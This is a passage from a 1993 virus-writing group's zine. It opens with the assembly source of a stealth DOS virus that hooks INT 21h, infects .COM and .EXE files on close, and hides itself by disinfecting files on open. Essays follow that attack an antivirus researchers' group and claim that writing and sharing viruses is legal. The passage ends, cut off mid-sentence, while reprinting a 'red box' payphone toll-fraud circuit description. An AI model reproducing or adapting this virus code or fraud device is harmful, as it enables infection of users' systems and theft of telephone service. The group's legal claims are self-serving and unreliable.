dta_out1: pop es ;restore registers
pop cx
pop bx
pop ax
dta_out: retf 0002h ;pop 2 words of stack
;===============================================================================
; Int 21h Handler
;===============================================================================
int21_handler:
cmp ah,11h ;FCB find first match
je old_dir
cmp ah,12h ;FCB find next match
je old_dir
cmp ah,4eh ;Find first match
je new_dir
cmp ah,4fh ;Find next match
je new_dir
cmp ah,3dh ;Opening a file
je file_open
cmp ah,6ch ;Ext_opening a file
je file_ext_open
cmp ah,3eh ;closing a file
je file_close
cmp ah,4bh ;Execution of a file
je file_execute
int21call: jmp dword ptr cs:[int21] ;original int21
old_dir: jmp fcb_dir ;fcb file find
new_dir: jmp dta_dir ;new asciiz file find
file_open: jmp open_file ;disinfect opening file
file_ext_open: jmp open_ext_file ;disinfect opening file
file_close: jmp close_file ;infect closing file
file_execute: call check_extension ;check for ok ext
cmp byte ptr cs:[com_ext],1 ;is it a com?
je exec_disinfect ;yupe disinfect it
cmp byte ptr cs:[exe_ext],1 ;is it a exe?
je exec_disinfect ;yupe disinfect it
jmp SHORT int21call
exec_disinfect: call exec_disinfect1 ;Disinfect file
mov word ptr cs:[ax_reg],dx
pushf ;fake an int
call dword ptr cs:[int21] ;call dos
xchg word ptr cs:[ax_reg],dx ;restore dx
mov byte ptr cs:[close],0 ;reset flag..
push ax ;store 'em
push bx
push cx
push dx
push si
push di
push es
push ds
closing_infect: mov ax,3524h ;get error handler
call calldos21 ;call dos
push es ;save es:bx= int_24
push bx ;error handler
push ds ;ds:dx= asciiz string
push dx
push cs ;cs=ds
pop ds
mov dx,offset int21_handler ;hook error handler
mov ax,2524h ;with our int24h
call calldos21
pop dx ;restore ds:dx asciiz
pop ds ;string
cmp byte ptr cs:[close],0 ;Are we closing file?
je exec_get_att ;nope, then jmp
mov ax,word ptr cs:[handle] ;yupe, ax=file handle
jmp exec_open_ok ;jmp so you don't open
;the file twice...
exec_get_att: mov ax,4300h ;get file attribs
call calldos21 ;call dos
jnc exec_attrib ;no, error jmp
jmp exec_exit2 ;ERROR - split
exec_attrib: mov byte ptr cs:[attrib],cl
test cl,1 ;check bit 0 (read_only)
jz exec_attrib_ok ;if bit0=0 jmp
dec cx ;else turn of bit_0
mov ax,4301h ;write new attribs
call calldos21 ;call dos
exec_attrib_ok: mov ax,3d02h ;open file for r/w
call calldos21 ;call dos
jnc exec_open_ok ;ok, no error jmp
jmp exec_exit2 ;ERROR - split
exec_open_ok: xchg bx,ax ;bx=file handler
push cs ;cs=ds
pop ds
mov ax,5700h ;get file time/date
call calldos21 ;call dos
mov word ptr cs:[old_time],cx ;save file time
mov word ptr cs:[org_time],cx
mov word ptr cs:[old_date],dx ;save file date
and cx,1fh ;unmask second field
and dx,1fh ;unmask date field
xor cx,dx ;are they equal?
jnz exec_time_ok ;nope, file not infected
jmp exec_exit3 ;FILE INFECTED
exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits
or word ptr cs:[old_time],dx ;seconds=day of month
mov ax,4200h ;reset ptr to beginning
xor cx,cx ;(as opened files may
xor dx,dx ; have ptr anywhere,
call calldos21 ; so be smart!)
mov word ptr cs:[marker],0DBDBh ;File Infection marker
mov dx,offset ds:[buffer] ;ds:dx buffer
mov cx,18h ;read 18h bytes
mov ah,3fh ;read from handle
call calldos21 ;call dos
jc exec_exit1 ;error? if yes jmp
sub cx,ax ;did we read 18h bytes?
jnz exec_exit1 ;if no exit
mov dx,cx ;cx=0 dx=0
mov ax,4202h ;jmp to EOF
call calldos21 ;call dos
jc exec_exit1 ;error? exit if so.
mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz
mov word ptr cs:[filesize],dx ;save upper 16bit fileSz
call chkbuf ;check if .exe
jz exec_cool ;jmp if .exe file
cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k?
jb exec_cool ;if less jmp!
exec_exit1: jmp exec_exit3 ;exit!
;_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
; Mutate and infect
;-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning
mov cx,virus_size ;cx=virus size
mov ah,40h ;write to handle
call calldos21 ;call dos
jc exec_exit1 ;error? if yes exit
sub cx,ax ;cx=ax bytes?
jnz exec_exit1 ;not equal exit
mov dx,cx ;cx=0 dx=0
mov ax,4200h ;jmp to top of file
call calldos21 ;call dos
jc exec_exit1 ;error, then exit
mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize
call chkbuf ;check if .exe
jnz exec_com_file ;if !=.exe jmp
mov dx,word ptr cs:[filesize] ;get upper 16bit
mov cx,4 ;cx=0004
mov si,word ptr cs:[buffer+8] ;get exe header size
shl si,cl ;mul by 16
sub ax,si ;exe_header - filesize
sbb dx,0h ;sub with carry
mov cx,10h ;cx=0010
div cx ;ax=length in para
;dx=remaider
mov word ptr cs:[buffer+20],dx ;New IP offset address
mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs)
add dx,virus_size+100h ;Dx=virus_size+256
mov word ptr cs:[buffer+16],dx ;New SP entry
mov word ptr cs:[buffer+14],ax ;New SS (in para)
add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para
mov ax,word ptr cs:[buffer+10] ;ax=min para needed
cmp ax,word ptr cs:[buffer+12] ;cmp with max para
jb exec_size_ok ;jmp if ok!
mov word ptr cs:[buffer+12],ax ;nop, enter new max
exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size
add ax,virus_size ;add virus to it
push ax ;push it
and ah,1 ;
mov word ptr cs:[buffer+2],ax ;restore new value
pop ax ;pop ax
mov cl,9 ;
shr ax,cl ;
add word ptr cs:[buffer+4],ax ;enter fileSz + header
mov dx,offset buffer ;ds:dx=new exe header
mov cx,18h ;cx=18h bytes to write
jmp SHORT exec_write_it ;jmp...
exec_com_file: sub ax,3 ;sub 3 for jmp address
mov word ptr cs:[buffer+1],ax ;store new jmp value
mov byte ptr cs:[buffer],0E9h ;E9h=JMP
mov dx,offset buffer ;ds:dx=buffer
mov cx,3 ;cx=3 bytes
exec_write_it: mov ah,40h ;write to file handle
call calldos21 ;call dos
mov dx,word ptr cs:[old_date] ;restore old date
mov cx,word ptr cs:[old_time] ;restore old time
mov ax,5701h ;write back to file
call calldos21 ;call dos
exec_exit3: mov ah,3eh ;close file
call calldos21 ;call dos
exec_exit2: pop dx ;restore es:bx (the
pop ds ;original int_24)
mov ax,2524h ;put back to place
call calldos21 ;call dos
pop ds
pop es
pop di ;pop registers
pop si
pop dx
xor cx,cx
mov cl,byte ptr cs:[attrib] ;get old file attrib
mov ax,4301h ;put them back
call calldos21 ;call dos
pop cx
pop bx
pop ax
cmp byte ptr cs:[close],0 ;get called by exec?
je exec_good_bye ;yep, then jmp
iret ;else exit now.
exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx
iret ;iret
;-------------------------------------------------------------------------------
; Close File Int21h/ah=3Eh
;-------------------------------------------------------------------------------
close_file: cmp bx,4h ;file handler > 4?
ja close_cont ;jmp if above
jmp int21call ;else exit
close_cont: push ax ;save 'em
push bx
push cx
push dx
push si
push di
push es
push ds
push bx ;save file handler
mov ax,1220h ;get job file table!
int 2fh ;call multiplex
;es:di=JFT for handler
mov ax,1216h ;get system file table
mov bl,es:[di] ;bl=SFT entry
int 2fh ;call multiplex
pop bx ;save file handler
add di,0011h
mov byte ptr es:[di-0fh],02h ;set to read/write
add di,0017h
cmp word ptr es:[di],'OC' ;check for .COM file
jne closing_next_try ;no try next ext
cmp byte ptr es:[di+2h],'M' ;check last letter
je closing_cunt3 ;no, file no good, exit
closing_exit: jmp closing_nogood ;exit
closing_next_try:
cmp word ptr es:[di],'XE' ;check for .EXE file
jne closing_exit ;no, exit
cmp byte ptr es:[di+2h],'E' ;check last letter
jne closing_exit ;no, exit
closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag
mov word ptr cs:[handle],bx ;save handler
jmp closing_infect ;infect file!
closing_nogood: pop ds ;restore 'em
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp int21call ;good bye, baby...
;-------------------------------------------------------------------------------
; Execute Disinfecting routine
;-------------------------------------------------------------------------------
exec_disinfect1 PROC
push ax ;save registers
push bx
push cx
push dx
push ds
mov ax,4300h ;get file attribs
call calldos21 ;call dos
test cl,1h ;is Read-only flag?
jz okay_dis ;no, jmp attribs ok
dec cx ;turn off bit 0
mov ax,4301h ;write new attribs
call calldos21 ;call dos
jnc okay_dis ;No error? then jmp
jmp end_dis ;error? exit!
okay_dis: mov ax,3d02h ;open file for r/w
call calldos21 ;call dos
jnc dis_fileopen ;No error? then jmp
jmp end_dis ;Error? exit!
dis_fileopen: xchg bx,ax ;bx=file handle
mov ax,5700h ;get file time/date
call calldos21 ;call dos
mov word ptr cs:[old_time],cx ;save file time
mov word ptr cs:[old_date],dx ;save file date
and cx,1fh ;unmask second field
and dx,1fh ;unmask date field
xor cx,dx ;are they equal?
jnz half_way ;nope, file not infected
mov ax,4202h ;jmp to EOF
xor cx,cx ;cx=0
xor dx,dx ;dx=0
call calldos21 ;call dos
push cs ;cs=ds
pop ds ;
mov cx,dx ;dx:ax=file size
mov dx,ax ;save to cx:dx
push cx ;save upper fileSz
push dx ;save lower fileSz
sub dx,1Ch ;filesize-1C=origin byte
sbb cx,0 ;sub with carry
mov ax,4200h ;position ptr
call calldos21 ;call dos
mov ah,3fh ;open file
mov cx,1Ch ;read last 1Ch bytes
mov dx,offset org_time ;put in ds:dx
call calldos21 ;call dos
call chkbuf ;Did it work?
je half ;Yes,Jmp
cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected?
je half ;Yes, then jmp
pop dx
pop cx
half_way: jmp end_dis1 ;exit, error!
half: xor cx,cx ;cx=0
xor dx,dx ;dx=0
mov ax,4200h ;pointer to top of file
call calldos21 ;call dos
mov ah,40h ;write function
mov dx,offset buffer ;ds:dx=buffer
mov cx,18h ;cx=18h bytes to write
call chkbuf ;check if .exe?
jz SHORT dis_exe_jmp ;yupe, jmp
mov cx,3h ;else write 3 bytes
dis_exe_jmp: call calldos21 ;call dos
pop dx ;pop original fileSz
pop cx
sub dx,virus_size ;Sub with virus_size
sbb cx,0 ;sub with carry
mov ax,4200h ;ptr top of virus
call calldos21 ;call dos
mov ah,40h ;write function
xor cx,cx ;write 0 bytes
call calldos21 ;call dos! (new EOF)
mov cx,word ptr ds:[org_time] ;get original time
mov dx,word ptr ds:[old_date] ;get original date
mov ax,5701h ;put back to file
call calldos21 ;call dos
end_dis1: mov ah,3eh ;close file handle
call calldos21 ;call dos
end_dis: pop ds ;restore values
pop dx
pop cx
pop bx
pop ax
ret
exec_disinfect1 ENDP
;-------------------------------------------------------------------------------
; Open File by DOS Int21h/ah=6ch
;-------------------------------------------------------------------------------
open_ext_file: push dx ;save DX
mov dx,si ;asciiz=DS:DX now
jmp open_ext ;jmp
;-------------------------------------------------------------------------------
; Open File by DOS Int21h/ah=3Dh
;-------------------------------------------------------------------------------
open_file: push dx ;save dx (asciiz)
open_ext: call check_extension ;check extension
cmp byte ptr cs:[com_ext],1 ;is it a .com?
je open_ok_ext ;yep, then jmp
cmp byte ptr cs:[exe_ext],1 ;is it a .exe?
je open_ok_ext ;yep, them jmp
jmp open_exit ;ext no good, exit!
open_ok_ext: call exec_disinfect1 ;disinfect file!
open_exit: pop dx ;restore dx
jmp int21call ;exit to dos...
;-------------------------------------------------------------------------------
; Checks Buffer (EXE) Header
;-------------------------------------------------------------------------------
chkbuf PROC
push si ;save register
mov si,word ptr cs:[buffer] ;get first word
cmp si,5A4Dh ;si=ZM?
je chkbuf_ok ;if yes exit
cmp si,4D5Ah ;si=MZ?
chkbuf_ok: pop si ;pop register
ret
chkbuf ENDP
;-------------------------------------------------------------------------------
; Check file Extension
;-------------------------------------------------------------------------------
check_extension PROC
pushf ;save flags
push cx ;save cx,si
push si
mov si,dx ;ds:[si]=asciiz
mov cx,128 ;scan 128 bytes max
mov byte ptr cs:[com_ext],0 ;reset .com flag
mov byte ptr cs:[exe_ext],0 ;reset .exe flag
check_ext: cmp byte ptr ds:[si],2Eh ;scan for "."
je check_ext1 ;jmp if found
inc si ;else inc and loop
loop check_ext ;loop me
check_ext1: inc si ;inc asciiz ptr
cmp word ptr ds:[si],'OC' ;is it .COM
jne check_ext2 ; ~~
cmp byte ptr ds:[si+2],'M' ;is it .COM
je com_file_ext ; ~
check_ext2: cmp word ptr ds:[si],'oc' ;is it .com
jne check_ext3 ; ~~
cmp byte ptr ds:[si+2],'m' ;is it .com
je com_file_ext ; ~
check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE
jne check_ext4 ; ~~
cmp byte ptr ds:[si+2],'E' ;is it .EXE
je exe_file_ext ; ~
check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe
jne check_ext_exit ; ~~
cmp byte ptr ds:[si+2],'e' ;is it .exe
je exe_file_ext ; ~
jmp check_ext_exit ;neither exit
com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file
jmp SHORT check_ext_exit ;jmp short
exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file
check_ext_exit: pop si ;restore
pop cx
popf ;save flags
ret
com_ext db 0 ;flag on=.com file
exe_ext db 0 ;flag on=.exe file
check_extension ENDP
;-------------------------------------------------------------------------------
; Original Int21h
;-------------------------------------------------------------------------------
calldos21 PROC
pushf ;fake int call
call dword ptr cs:[int21] ;call original int_21
ret
calldos21 ENDP
;===============================================================================
; Int 24h Handler
;===============================================================================
int24_handler:
mov al,3 ;don't report error...
iret ;later dude...
;-------------------------------------------------------------------------------
; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS
close db 0 ;closing file
;-------------------------------------------------------------------------------
; END - END - END - END - END - END - END
rand_val dw 0
flags dw 0 ;Flags are saved here
attrib db 0 ;file's attrib
filesize dd 0 ;filesize
handle dw 0 ;file handler
old_date dw 0 ;file date
old_time dw 0 ;file time
;-------------------------------------------------------------------------------
org_time dw 0 ;original file time
;-------------------------------------------------------------------------------
buffer db 0CDh,020h ; 0 (0) EXE file signature
db 090h,090h ; 2 (2) Length of file
db 090h,090h ; 4 (4) Size of file + header (512k)
db 090h,090h ; 6 (6) # of relocation items
db 090h,090h ; 8 (8) Size of header (16byte para)
db 090h,090h ; A (10) Min para needed (16byte)
db 090h,090h ; C (12) Max para needed (16byte)
db 090h,090h ; E (14) SS reg from start in para.
db 090h,090h ; 10(16) SP reg at entry
db 090h,090h ; 12(18) checksum
db 090h,090h ; 14(20) IP reg at entry
db 090h,090h ; 16(22) CS reg from start in para.
Marker db 0DBh,0DBh ; Marks THIS File as INFECTED!
last:
seg_a ends
end start
------------------------------- CUT HERE ---------------------------------------
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "CARO's Undisclosed Meeting Agenda" Nu
Nu PART 1 KE
KE -N
-N By uK
uK ARiSToTLE E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
% CARO's Meeting Agenda %
By now, most of us have seen this particular document and have
either accepted it as factual or shrugged it off as a hoax.
Regardless of your viewpoint, there are still a few items of
interest, and their implications, that I wanted to address.
Initially, I wanted to do this wonderful spill on the legal
aspects of cartels and collusion, but since this particular item
cannot be substantiated as being 100% legitimate, I prefer to
avoid any possible legal responses that may be incurred by doing
so. I will therefore attempt to define some of the more relevant
issues and let you be the judge.
The New American Dictionary defines the CARTEL as:
"A monopolistic combination of independent business enterprises."
The same dictionary defines COLLUSION as:
"A secret agreement for a deceitful or fraudulent purpose."
Let's first look at a few statements from this "alleged" agenda.
3. Membership categories - I'd like to formally propose three
categories - weeders, disassemblers, and advisory.
Advisories don't want, or get, the viruses. Disassemblers
have to do CARObase entries. For weeders, see below. It
means we modify Vcircle, and we don't give the password to
the advisories (e.g. Yisrael R. , Ken van Wyck, etc..)
The third motion in this agenda makes reference to the word
"MEMBERSHIP." Although this does yet imply any businesses or
transactions, we can safely assume that CARO is indeed a
structured organization.
4. Consideration of new applicants.
- John Buchanan asked me if he could join. He hasn't
formally applied, though.
- I'd like to suggest Sara Gordon
- Iolo Davidson ( worked at S&S for a few years, has my
collection, author of Virus Guard, does disasms )
- Steve Hill (something might have gone wrong with the vote,
as there is no record of no votes, according to Chris
Fischer)
- Any others
In item 4. we can now assume my claim of CARO being a
"STRUCTURED" organizations correct due to the reference of
"FORMALLY APPLIED."
7. Proposed action against organised virus writing groups -
working group to be formed, I suggest, with 2/3 US members
(Glenn, Joe, Ross?), 1/2 Euros. It's mostly a US problem,
now that ARCV have gone :-).
We should set up a Murky Database (Handles, BBSes, Names,
Addresses.) The objective is to get a police prosecution
against anyone who is committing a crime (but not, of
course, against anyone who is not committing a crime)
In line seven, we may be able to link "BUSINESS" into the picture
if the people mentioned, Glenn, Joe, and Ross, are the same
people as those we know as Glenn Jordan of DATAWATCH (Virex PC),
Joe Wells of SYMANTEC, and Ross Greenburg, author of FLU-SHOT.
If such is the case, then we have representatives of a common
field, uniting efforts for a common cause. There is nothing
illegal here and it is not implied that there is anything illegal
with what they may be doing.
8. Identification and naming - if Frisk isn't there, that'll
have to be deferred. But maybe Vess and I can do some stuff.
In line eight, we have yet another reference to a person who
could quite possibly be Fridrik Skulason, author of F-PROT.
11.4 An undertaking from those who want to participate. The
disadvantages are that you get to do lots of work, and
everyone benefits. Your company might not permit this.
I suggest we call these CARO members the Weeders.
Non-weeders don't get the garbage files (why would you
want them? ), and get the viruses slightly after the
weeders do.
In line eleven, subsection four, we can see a reference made to
the word "COMPANY." This seems to substantiate the claim that
the actual companies are involved with the CARO organization.
We can clearly see that the some members of CARO do work for
companies that may, in the long run, benefit from the efforts of
this organization's findings. I am concerned that CARO might
possibly become a cartel. Membership in CARO is restrictive in
nature, which conceivably keep other companies with software
ideas from joining and sharing the same benefits. Essentially,
this situation could be construed as a barrier to entry under
ideal conditions. If CARO can manage to encompass all of the
"select" companies, then quite possibly CARO may gain a
monopolistic control over the market. Although there
is one organization that presently holds the majority in market
share, the possibility for a combined effort producing a new
technology exists. All of us know that this one person must soon
adopt a new method of detection and eradication or his product
produce will quickly become too cumbersome for any practical
use. You think about all the possibilities!
Moving right along... Let's look at the second definition that I
mentioned earlier in this text. Collusion!
According to the dictionary definition of the word, collusion
does not always have to imply "illegal" activities, only
deceitful or fraudulent. With this in mind, take a look at some
of the following excerpts from the "alleged" CARO agenda.
12. The CARO Virus Collection. I think that it is really
important that there be no such thing. That way, if people
ask for it, or claim they have it, then it's nonsense. Can
we so move - there is no such thing ?
This is self explanatory, but what is all this tripe in the new
set of statements?
5. CARO Base
We need to come to a conclusion. Maybe the weeders (see
below) are excused from CARO basing, on the basis that they
are contributing as weeders ? That also gets Vess off that
hook.
Okay! So there is a CARO base!
6. Virus Tagging
We have a leak somewhere. I'd like to find it, and stop it.
So we need to tag the viruses - that's easier than it
sounds, these days. Lets decide how.
The "BASE" is obviously a "VIRUS" base!
11. Sharing the work on collections. I'd like to propose that
for future collections like Stang's collection, or
Buchanan's where the main problem is sorting the wheat from
the chaff, that we divide the work up. You should be
prepared to:
11.1 Sort out the viruses from the non-viruses (that's the
main workload)
11.2 Isolate the non-viruses (put them in Zip files, marked
Intended, Innocent and Garbage)
11.3 Make a replicant of the viruses into a group of Goat
files (I am willing to donate my little files [ big
deal]) so that we all have N replicant and the
original. And a small descriptive text file of the
basic info, which is (roughly how it infects, roughly
what it infects, is it encrypted, is it stealth, is it
polymorphic). This is preliminary info, which you'll
get as a result of replicating the viruses without
doing any real work. Put this text file, plus the
replicants, in a Zip, and if we all do some of the
collection, many hands make light work. Since the work
is proportional to the number of files I suggest that
we divide it on that basis.
If N people volunteer to be weeders, each one will get
1/N of the files in the collection. This idea only
applies to collections that are large and likely to be
weedful, and I think we should expect more such in
future.
11.4 An undertaking from those who want to participate. The
disadvantages are that you get to do lots of work, and
everyone benefits. Your company might not permit this.
I suggest we call these CARO members the Weeders.
Non-weeders don't get the garbage files (why would you
want them? ), and get the viruses slightly after the
weeders do.
11.5 Someone to act as a central coordinator/ collator/
disseminator. Vess is the obvious candidate, but he
might have too much on already.
Again, we're back to square one! Someone is going to now say
that the CARO Virus Collection doesn't exist, or at least make a
motion to this effect.
12. The CARO Virus Collection. I think that it is really
important that there be no such thing. That way, if people
ask for it, or claim they have it, then it's nonsense. Can
we so move - there is no such thing ?
14. Dinner. Beer. More beer.
...and last but not least, the last line of the "alleged" CARO
agenda. Having read this article time and time again, I am
convinced that they must have done line fourteen for at least
three days prior to ever discussing line one.
You decide for yourself what these people are doing. I only
wanted to take the opportunity to show it to you the way I see...
Of course, I could be wrong, but as I see it, CARO may be able to
monopolize the industry if they control the mass collection and
can manage to restrict it from those whom the may not "approve."
Couple this with legislation in their favor and the general public
will be in for quite a shock. I dare say we would see any "free"
software any longer. Who works for free? How many people can you
count on one hand that are trying to do something for YOU?
Special thanks to Time Lord of Phalcon/SKISM for snatching the agenda
at the New York conference!
ARiSToTLE/NuKE
===============================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "CARO's Undisclosed _Illegal_ Meeting Agenda" Nu
Nu PART 2 KE
KE -N
-N By uK
uK Rock Steady E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
% I've Been Watching You For A La-La-La-La-Long,
A La-La-La-La-LONG, Long Time %
% Amendment Seven of the CARO Meeting Agenda %
7. Proposed action against organised virus writing groups -
working group to be formed, I suggest, with 2/3 US members
(Glenn, Joe, Ross?), 1/2 Euros. It's mostly a US problem,
now that ARCV have gone :-).
We should set up a Murky Database (Handles, BBSes, Names,
Addresses.) The objective is to get a police prosecution
against anyone who is committing a crime (but not, of
course, against anyone who is not committing a crime)
I've read this paragraph several times over, and I just cannot believe the
filth in it. This above paragraph is certainly illegal, according to Canadian
and American law. This above paragraph goes against the Privacy Act.
I've looked at American, Canadian, English and Australian law concerning
about the Privacy Act(s). In Quebec (a province of Canada) we have adopted
Law 68 this spring. The law restricts/forbids the sale of lists, that
private companies have collected and stored. It gives Quebecers the right
to see information about them, that private companies have collected and
stored. It also reserves the right to database compilation lists to
governmental agencies ONLY!
However, CARO does not have any right whatsoever to create a database
to begin with, because it has no relation to those on the database. A
magazine company can have the right to create a database on its
subscribers, as it is needed to send out their product. CARO's database is
not composed of their clientele, it has no relation to those on its database.
CARO is acting like a law-abiding body, which it IS NOT. CARO intends to
compile a database of those "committing" a crime!
ONLY, and I repeat, ONLY government agencies can compile a list of
"criminals." But those on that list have been formally charged and tried
in a court of law. These government agencies have the right to say that
those on the list are criminals. But CARO is not a government agency,
it does not hold the power of jurisdiction on anyone or anywhere! CARO
can be charged for a conspiracy simply be compiling this list!
One has to understand that organized _virus_ groups, such as NuKE, are
rightfully legal. The law does not restrict the production of viral
code, the law CAN NEVER restrict the production of viral code, it would simply
be UNCONSTITUTIONAL if such a law were made. It's plain dumb, and we at NuKE
laugh at those like CARO, out to create such ridiculous law(s). One
also has to understand that _no_one_ can restrict what an individual does
in his/her personal computer. As long as it is in the privacy of their own
personal computer, and it does not affect anyone _directly_, you can do
whatever pleases thy soul.
And if people wish to share amongst themselves any new viral code, they can!
See, if the two parties agree in sharing viral code, no law has been broken.
Those that call a NuKE BBS (such as Cybernetic Violence) and request
virus base access are granted access upon validation. This too is legal!
Once you answer "yes" to the question of viral access, you have taken upon
the responsibility of receiving any virus. See both parties agreed on sharing
viral code, therefore neither of the parties were malinformed about the
viral sharing, and it does not affect anyone directly! Therefore this act
is legal according to law.
When is the law broken? Within NuKE this doesn't seem to occur, but lets look
at CARO, shall we...
Gathering information like a person's true name and address is enough for
CARO to break the law. People have a right to privacy, and once that right
has been taken away by some dimwit at CARO, once your right to privacy has
been raped from you, you can file suit for damages. In this situation, both
parties, (CARO and the person on the CARO list) did _not_ come to any
agreement what so ever, to be included in such a list. Also the CARO's list
implies that those on this list are law-breakers, criminals, bottom-of-the-food
-chain fungus. This is a great basis for suing for damages. You also have to
understand that CARO is NOT a governing body! Therefore CARO has _no right_ to
judge who is a criminal and who is not a criminal, as it does not hold the
power of the law. Therefore CARO can _never_ compile a list of virus writers
to be submitted for prosecution under legal boundaries.
The _fact_ of this database is so controversial, that we very well can see
a conspiracy in the making here. How is that? Well, HOW exact is this
database that CARO is compiling, what methods are they using to collect
this information? Are they trying to bond an Alias to a body? If CARO
has reason to believe that "Rock Steady" is the blame for some criminal
acts, who is to blame? Are we going to _presume_ that Joseph Greco is
Rock Steady? What are the implications of this, if it were true? Does Joseph
Greco contain any legal documents that tie him to the name Rock Steady? How
are you going to prove this? Also, how clear is he tied to the crime? Is the
crime the result of a computer virus created by Rock Steady? If that is the
case then for every murder resulting from a gun we should charge the
manufacturer of the gun, too! Oh how moronic, only someone belonging to CARO
could come up with such a rule.
I can scream out all day that Joseph Greco is Rock Steady, it still is not
valid in court. Information like that is invalid because it can be easily
replicated by anyone, it is not authentic like a signature or handwriting
style. But what is needed to get a prosecution is _not_ the fact that Joseph
Greco used the name Rock Steady, or the fact that Joseph Greco IS Rock Steady
for that fact, but that Joseph Greco was the one to commit the criminal act!
And it is _extremely_ difficult to proof that. Because you really need to be
110% sure that Joseph Greco committed the crime, and the only way to do that
is to convict him at the moment of the crime. Which is fairly impossible to do,
round the clock surveillance is required, which of course would require a
warrant.
The legal system is an amazing system at work, and all that is needed to
throw out a charge is one doubt. The legal system has to prove that you
committed that criminal act, _without_ any reasonable doubt. I've raised
several reasonable doubts, and can continue throwing them at you till I
die.
Statistic show that, of all computer criminal charges laid, only 25% (figures
were extracted from Statistic Canada, and relate to Canada computer crimes only)
have been found guilty. Of course we need to "trim" the figures to reflect
virus and security related criminal acts. In turn less then 5% would be the
result of virus and computer security acts. In 1991 operation Sundevil began
in the USA, which was conducted by the Secret Service; in turn, 50 arrests
were made, 200 computers and 50,000 diskettes were confiscated, and the
only charge to be brought to court was for the result of the E911 article
that was published in Phrack Magazine. In result the editor of the Phrack
magazine responsible for the article pleaded GUILTY, and yet found to be
not guilty as charges were dropped.
Steve Jackson Games filed a suit against the Secret Service for the illegal
confiscation of their computers and the damages caused by the Secret Service.
The Secret Service in turn was found guilty, and Steve Jackson was awarded
US$100,000.00 in damages. Therefore in fact, operation Sundevil was perhaps
the biggest flop ever to be conducted by the Secret Service, which lasted a
complete year, where salaries were being paid for hundreds of men, and in
result thousands of dollars loss in legal fees and a charge against them
which cost US$100,000.00, and every penny of operation Sundevil was from
taxpayer's money. Hard earned money of every day taxpayers like you and me,
that busted their hump earning each penny.
We are being raped by technology-driven companies, such as closed-circuit
television and electronic access cards used to monitor workers in offices.
Personal communications devices, which are changing how we use a telephone,
would be assigned to people, not fixed locations; that would make it possible
for the phone company to know where the caller and recipient were when a call
was made. These are security problems associated with cellular phones.
Hopefully one can understand where all this can possible lead to. We are
entitled to data-protection rights! Personal information should be collected
only where warranted, and use of it and access to it should be subject
to tight controls.
After reading this article, many of you might well be tempted to crawl into
your bed and pull the cover over your head. But that would be to succumb
to the "technological trance." Instead all of us should become _more_
vigilant, and press harder for our rights.
Rock Steady/NuKE
===============================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "Toll Fraud Device" Nu
Nu KE
KE Typed By -N
-N uK
uK Rock Steady E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
I typed up the following article entitled simply "Toll Fraud Device" from
the Summer 1993 (vol. 10, no. 2) issue of 2600 Magazine. The article is
uncredited in 2600, so we're not quite sure who to thank... Anyhow, since
we've done articles about red boxing in the past and have received tremendous
response, we thought our readers would like to see a great new optimized
design for a red box. Enjoy!
Rock Steady/NuKE
-------------------------------------------------------------------------------
% Toll Fraud Device %
We at 2600 are often asked, "What is a toll fraud device?" Well, we decided
to answer the question once and for all. This red box is a toll fraud device.
Why is it a toll fraud device? Because any red box that can be built this
cheaply and this easily and can fit in the palm of your hand was clearly
_not_ made for demonstration purposes.
Okay, so what is a red box? Well... a red box is hacker slang for any device
that simulates payphone coin signalling tones in North American payphones.
Red boxes emit the precise tones used by payphones to tell the local switch
that the appropriate coinage has been inserted. The tones are played through
the mouthpiece in lieu of dropping coins into the payphone. This particular
red box is particularly fraudulent in that it only simulates quarter tones.
After all, when one commits toll fraud one does not want to waste time
pumping virtual nickels and dimes into the payphone when quarters work quite
nicely thank you.
For those of you who are technically minded, the theory behind the circuit is
easy enough to grasp. The DTMF encoder (U1) used in conjuction with the
crystal (X1) produces the desired frequencies. The decode counter (U2)
controls the cadence or how many frequency pulses are used. The 555 timer (U3)
used in conjunction with R1, R2, and C1 produces the actual pulses and controls
how fast they are delivered. The circuit is a good hack because it utilizes
the carry flag on U2 to overcome any stray charge on C1 that may cause the
first pulse from U3 to be inaccurate. It accomplishes this by ignoring the
first five pulses produced by U3, processing the next five, ignoring the
third, processing the fourth, ignoring the fifth, etc... The circuit is also
a good hack because it utilizes that well known coincidence in the DTMF
encoderm, the fact that substituting a 6.5 Mhz crystal for a colorburst
crystal (3.579545 Mhz) just happens to raise the "*" key frequencies from
